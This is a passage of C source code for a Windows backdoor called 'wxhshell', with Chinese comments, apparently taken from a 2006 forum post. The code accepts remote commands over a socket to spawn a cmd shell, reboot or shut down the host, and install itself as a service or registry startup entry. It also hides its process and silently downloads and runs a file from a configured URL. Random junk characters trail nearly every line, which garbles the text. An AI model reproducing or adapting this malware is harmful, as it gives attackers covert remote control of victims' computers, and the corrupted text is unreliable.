  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6bpO#&T  
  } Y]}>he1/5  
  else { *ur[u*g  
Zdu8axK:  
    switch(cmd[0]) { Bn d Y\  
  RjHKFB2  
  // 帮助 Z9I ?j1K|!  
  case '?': { .|J-(J<>[.  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); >D$NEO^  
    break; YksJ$yH^  
  } >56;M7b(K  
  // 安装 5AAPtZ\lH  
  case 'i': { <K~mg<ff$  
    if(Install()) YjeHNPf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); PKNpR  
    else ddeH-Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m-|~tve  
    break; F!6;< !&h  
    } BIEeHN4  
  // 卸载 8:Jc2K  
  case 'r': { ')v<MqBr  
    if(Uninstall()) _s NJU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kD4J{\  
    else @arMg2"o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X$$b:q  
    break; ?pp|~A)b  
    } -*"Q-GO  
  // 显示 wxhshell 所在路径 q+Qrc]>-f  
  case 'p': { ~_yz\;#  
    char svExeFile[MAX_PATH]; Z= /bD*\g  
    strcpy(svExeFile,"\n\r"); = M/($PA  
      strcat(svExeFile,ExeFile); 8`  f=E h  
        send(wsh,svExeFile,strlen(svExeFile),0); Eh?,-!SUQn  
    break; C'//(gjQ-G  
    } Vbpt?1:  
  // 重启 `n`aA)|<  
  case 'b': { "+ 8Y{T  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?Kf?Z`9 *Y  
    if(Boot(REBOOT)) "0A !fRI~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L+$9 ,<'[  
    else { T! fF1cpF\  
    closesocket(wsh); gJI(d6  
    ExitThread(0); C XiSin  
    } /M8&`  
    break; ]$a,/Jt  
    } N[dv  
  // 关机 b!-F!Lq/+0  
  case 'd': { 5"&{Egc_  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;K<W<v5m0N  
    if(Boot(SHUTDOWN)) g_t1(g*s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SAw. 6<Wy-  
    else { x*z$4)RP  
    closesocket(wsh); 92K#xM/  
    ExitThread(0); \A9hYTC)  
    } p4'Qki8Hd  
    break; h; 8^vB y  
    } )o@-h85";  
  // 获取shell }CXL\, ;  
  case 's': { _^pg!j[Fy}  
    CmdShell(wsh); =M+enSu  
    closesocket(wsh); zkRL'-  
    ExitThread(0); )\r;|DN  
    break; d|(@#*{T]  
  } -& \?Q_6  
  // 退出 a8!/V@a  
  case 'x': { N=P+b%%:Z  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); F`\7&'I  
    CloseIt(wsh); ZI'Mr:z4  
    break; A#B6]j)  
    } 34\:1z+s M  
  // 离开 ^l"  
  case 'q': { {:r8X  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); c'r7sI%Yi  
    closesocket(wsh); qdeS*r p\  
    WSACleanup(); -P>f2It  
    exit(1); ;F!wyTF>}  
    break; 4TW>BA  
        } d;10[8:5=  
  } R@)L@M)u;  
  } Vr=c06a2  
U[ $A=e?\Y  
  // 提示信息 >B9|;,a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $5)ZaYx<  
} HC*V\vz  
  } d,9YrwbD  
)cX6o[oia  
  return; =5sUpP V(  
} tu6Q7CjW8  
Q]}aZ4L  
// shell模块句柄 d;D8$q)8Q  
int CmdShell(SOCKET sock) h (`Erb  
{ pK~K>8\  
STARTUPINFO si; $zvqjT:>  
ZeroMemory(&si,sizeof(si)); <U ?_-0  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZiS<vWa3R  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; TZ,kmk#  
PROCESS_INFORMATION ProcessInfo; ?!J{Mrdn  
char cmdline[]="cmd"; m pWmExQ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); K8UgP?c;0  
  return 0; elBmF#,j 7  
} _g(4-\  
&_EjP hZ  
// 自身启动模式 @Gj|X>0  
int StartFromService(void) `/mcjKQ&9y  
{ i YJzSVO  
typedef struct do:3aP'S,  
{ >dW~o_u'QN  
  DWORD ExitStatus; i$A0_ZJKjZ  
  DWORD PebBaseAddress; 0V&6"pF_Y'  
  DWORD AffinityMask; /Af:{|'$%  
  DWORD BasePriority; D`bH_1X  
  ULONG UniqueProcessId; q{W@J0U  
  ULONG InheritedFromUniqueProcessId; ;(0E#hGN  
}   PROCESS_BASIC_INFORMATION; :/kz*X=<  
J\@yP  
PROCNTQSIP NtQueryInformationProcess; 2Rp5 E^s  
.7*3V6h=F  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~fE6g3  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zw[A1!T,  
BQ ol>VRu  
  HANDLE             hProcess; t6u01r{~`  
  PROCESS_BASIC_INFORMATION pbi; xCOC5f5*@  
CR-6}T   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QJaF6>m  
  if(NULL == hInst ) return 0; V+mTo^  
JZ5N Q)sX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); od7 [h5r  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |X6]#&g7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VHJ-v!  
3UIR^Rh+  
  if (!NtQueryInformationProcess) return 0; gt9{u"o  
^uu)|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Olg@ Ri  
  if(!hProcess) return 0; {/x["2a1  
APgP*,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "]dNN{Wka  
75t\= 6#  
  CloseHandle(hProcess); M8 E8r  
?2b*F Qe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); HY,+;tf2r  
if(hProcess==NULL) return 0; Z2]ySyt]  
`2X#;{a:  
HMODULE hMod; c8cV{}7Kb  
char procName[255]; ]Hp o[IF  
unsigned long cbNeeded; HrUQ X4  
D|u! KH  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S0_#h)  
g9fS|T  
  CloseHandle(hProcess); `JGV3nN  
2\xv Yf-  
if(strstr(procName,"services")) return 1; // 以服务启动 3%<Uq%pJ  
L,&R0gxi  
  return 0; // 注册表启动 H*DWDJxmV  
} :RsO $@0G  
l@8UL</W  
// 主模块 vxxa,KR/y  
int StartWxhshell(LPSTR lpCmdLine) y;+5cn C  
{ f#RI&I\  
  SOCKET wsl; Mt@P}4   
BOOL val=TRUE; ?d*0-mhQ,  
  int port=0; GUJaeFe  
  struct sockaddr_in door; Y!VYD_'P  
O'~c;vBI  
  if(wscfg.ws_autoins) Install(); J Cu3,O!q  
zW`$T 88~  
port=atoi(lpCmdLine); YEZd8Y  
Zc"Vf]:  
if(port<=0) port=wscfg.ws_port; /qW5M4.w  
17Q1Xa  
  WSADATA data; D{&0r.2F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fI2/v<[  
0W|}5(C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   a}Db9=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); etX &o5A  
  door.sin_family = AF_INET; Yq;|Me{h  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (o/HLmr@Y  
  door.sin_port = htons(port); S~QL x  
=X(8 [ e  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =v4;t'_^  
closesocket(wsl); qW57h8M  
return 1; mJ=3faM  
} yv:8=.r}M  
<MhjvHg  
  if(listen(wsl,2) == INVALID_SOCKET) { i,Yq oe`  
closesocket(wsl); WxE4r  
return 1; &+?JY|u  
} @(Mg>.P  
  Wxhshell(wsl); \bze-|C  
  WSACleanup(); r7z8ICX'q  
,~ D_T  
return 0; 6N}>@Y5  
`mro2A  
} 8Z TN  
r)P^CZm  
// 以NT服务方式启动 ;}!hgyq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g">E it*[  
{ =Rl?. +uE  
DWORD   status = 0; =9UR~-`d\  
  DWORD   specificError = 0xfffffff; 3s iWq9 .  
 rO]7 g  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;-=Q6Ms8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >E;-asD  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,EyZ2`|  
  serviceStatus.dwWin32ExitCode     = 0; #rL%K3'  
  serviceStatus.dwServiceSpecificExitCode = 0; KdT1Nb=  
  serviceStatus.dwCheckPoint       = 0; 9o<}*L   
  serviceStatus.dwWaitHint       = 0; sd;J(<Ofh  
=HT:p:S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ys@M1o  
  if (hServiceStatusHandle==0) return; ecK{+Z'G  
bI)ItC_wf!  
status = GetLastError(); LRO'o{4$E  
  if (status!=NO_ERROR) Y6T1_XG  
{ fk%yi[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; W+3ZuAP\n  
    serviceStatus.dwCheckPoint       = 0; , Vz 1l_7  
    serviceStatus.dwWaitHint       = 0; MHN?ZHC)  
    serviceStatus.dwWin32ExitCode     = status; 74VN3m  
    serviceStatus.dwServiceSpecificExitCode = specificError; 3[kY:5-  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); KX e/i~AS  
    return; -aCtk$3  
  } d'~sy>  
8}m bfu o1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :3k&[W*  
  serviceStatus.dwCheckPoint       = 0; <qD/ #$   
  serviceStatus.dwWaitHint       = 0; J:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c[:OK9TH  
} z4f\0uQ  
[#y/`  
// 处理NT服务事件,比如:启动、停止 AtRu)v6r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ZCJOh8  
{ 3.q%?S}*  
switch(fdwControl) 1eC1Cyw  
{ 14TA( v]T  
case SERVICE_CONTROL_STOP: ^dB~#A1  
  serviceStatus.dwWin32ExitCode = 0; [KA&KI^hF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7 jq?zS|  
  serviceStatus.dwCheckPoint   = 0; 5Xn+cw*  
  serviceStatus.dwWaitHint     = 0; 'p=5hsG  
  { "mbcZ5 _  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Kq}/`P  
  } %G6ml,  
  return; %Z@+K_X9x  
case SERVICE_CONTROL_PAUSE: /+\m7IS  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ha l,%W~e  
  break; M_tY:v  
case SERVICE_CONTROL_CONTINUE: Ri]7=.QI`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~~[Sz#(  
  break; 2}Dd{kC-  
case SERVICE_CONTROL_INTERROGATE: YfBb=rN2s  
  break; 0-H!\IB  
}; _3UH"9g{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z;:c_y!f  
} +Hz});ix<  
Mq-QWx"P  
// 标准应用程序主函数 8d9&LPv  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) k=,,s(]tx  
{ M17oAVN7D  
%c%0pGn8-  
// 获取操作系统版本 =[8EQdR  
OsIsNt=GetOsVer(); `Tt}:9/3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); :'aT 4  
.Ap-<FB  
  // 从命令行安装 'P{0K?{H-4  
  if(strpbrk(lpCmdLine,"iI")) Install(); Fw!wSzsk3  
Qmxe*@{`  
  // 下载执行文件 70,V>=aJ  
if(wscfg.ws_downexe) { Dm=t`_DL8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ea3;1-b:  
  WinExec(wscfg.ws_filenam,SW_HIDE);  Ad)Po  
} C3kxw1*   
m,nZrap  
if(!OsIsNt) { _{CMWo"l  
// 如果时win9x,隐藏进程并且设置为注册表启动 |cpBoU  
HideProc(); (4_7ICFI  
StartWxhshell(lpCmdLine); )3<|<jwcx  
} EL!V\J`S_  
else DA)+)PhY7K  
  if(StartFromService()) =a>a A Z  
  // 以服务方式启动 QjH;'OVt  
  StartServiceCtrlDispatcher(DispatchTable); ' N$hbl  
else o -tc}Aa  
  // 普通方式启动 ^UP!y!&N  
  StartWxhshell(lpCmdLine); ,L#Qy>MOb  
[Nb0&:$ay  
return 0; OgJd^  
}
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只看该作者 1 发表于: 2006-10-10
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